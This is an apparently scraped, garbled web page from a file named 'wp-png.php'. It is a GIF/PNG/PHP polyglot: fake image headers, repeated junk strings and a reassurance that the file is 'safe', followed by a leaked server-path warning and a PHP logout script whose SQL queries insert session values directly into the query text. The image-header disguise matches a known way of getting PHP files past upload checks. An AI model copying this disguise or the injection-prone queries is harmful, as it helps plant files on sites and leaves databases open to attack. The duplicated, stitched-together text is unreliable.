PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!
PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!
PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!
"\头"\头
$假PNG头 = "\x89PNG\r\n\x1a\n";
GIF89a(沙现🐶🐱个
PHP Polyglot Example
PHP Polyglot Demo
Today's date is: 2026-04-23
This file starts with a GIF header, so some tools might classify it incorrectly,
but the contents are safe HTML + PHP.
Warning: session_start(): Session cannot be started after headers have already been sent in /home/stsportal/public_html/wp-png.php on line 36
PNG
"\"\
$假PNG头 = "\x89PNG\r\n\x1a\n";
$假PNG头 = "\x89PNG\r\n\x1a\n";
PNG %k25u25%fgd5n! PNG %k25u25%fgd5n!
GIF89a
PHP Polyglot Example
PHP Polyglot Demo
redirect($base.'login.php');
}*/
$admin_login_uid = 'NotSet';
if (isset($_SESSION['admin_login_uid'])) {
$admin_login_uid = $_SESSION['admin_login_uid'];
}
// Make sure the user has not signed in from admin panel
if ($admin_login_uid != $_SESSION['user_id']) {
$user_id = $_SESSION['user_id'];
$sql = "SELECT id FROM log_history WHERE user_id='$user_id' ORDER BY id DESC LIMIT 1";
$result = $db->query($sql);
if(!$result){
die(mysqli_error($db));
}
$row = $result->fetch_array();
$log_id = $row['id'];
$status_result = $db->query("SELECT status FROM users WHERE id = '" . $_SESSION['user_id'] . "' ");
$status_row = $status_result->fetch_array();
if ($status_row['status'] == '1') {
$sql = "UPDATE log_history SET logout_date = NOW() WHERE id='$log_id'";
if(!$db->query($sql)){
die(mysqli_error($db));
}
}
}
unset($_SESSION['user_email']);
unset($_SESSION['user_login']);
unset($_SESSION['user_id']);
unset($_SESSION['verified']);
// Check if notifications have been shown
if (isset($_SESSION['notification_show'])) {
unset($_SESSION['notification_show']);
}
// Check if the user signed in from admin panel
if (isset($_SESSION['admin_login_uid'])) {
unset($_SESSION['admin_login_uid']);
}
header('location: login.php');
exit();